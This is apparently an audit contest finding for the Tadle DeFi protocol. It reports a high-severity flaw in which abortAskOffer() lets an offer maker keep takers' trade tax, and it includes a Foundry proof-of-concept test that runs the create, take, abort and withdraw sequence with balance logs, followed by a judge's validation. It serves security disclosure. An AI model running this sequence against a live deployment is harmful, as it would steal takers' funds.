Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Missing Tax Income Transfer Allows Repeated Offer Creation and Abortion to Steal Funds

Summary

The abortAskOffer() function in the PreMarkets.sol contract fails to transfer the tax income from the offer maker to the taker. This omission allows attackers to repeatedly create and abort offers, potentially stealing funds through the accumulation of untransferred tax income.

Vulnerability Details

The abortAskOffer() function allows the offer maker to abort an Ask offer without transferring the accumulated tax income to the taker. This omission enables the offer maker to retain the tax income that should have been distributed to the taker, creating an opportunity for abuse.

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L536-L635

Impact

An attacker can repeatedly create offers, collect the tax income, and then abort the offers without transferring the income to the taker. Over time, this can result in significant financial losses for takers, while the attacker benefits from the accumulated funds.
The ability to repeatedly create and abort offers to steal funds incentivizes malicious actors to exploit this flaw, leading to potential market manipulation and loss of trust in the platform.

Proof of Concept

This is the test code of the vulnerability.

function test_ask_turbo_chain() public {
console2.log("user.balance: ", mockUSDCToken.balanceOf(user));
console2.log("user2.balance: ", mockUSDCToken.balanceOf(user2));
console2.log("");
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
address stockAddr = GenerateAddress.generateStockAddress(0);
vm.stopPrank();
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 700);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
vm.prank(user);
preMarktes.abortAskOffer(stockAddr, offerAddr);
vm.prank(user2);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
vm.stopPrank();
vm.startPrank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
vm.stopPrank();
console2.log("user.balance: ", mockUSDCToken.balanceOf(user));
console2.log("user2.balance: ", mockUSDCToken.balanceOf(user2));
console2.log("");
}

The result is like this.

user.balance: 100000000000000000000000000
user2.balance: 100000000000000000000000000
user.balance: 100000000000210000000000000
user2.balance: 99999999999755000000000000

As you can see, the offer maker (user) stole funds from the offer taker (user2) using tax income.

Tools Used

Manual code review

Recommendations

This vulnerability can be addressed by adding logic to calculate and transfer the tax income as part of the offer abortion process.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-immediate-withdrawal-allow-maker-steal-funds

Valid high severity, given orginal offer makers are not a trusted entity to enforce a settlement. The trade tax set by the maker should be returned back to the takers to avoid abuse of abortion of ask offers to steal trade tax from takers. Note for appeals period: See issue #528 for additional details

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.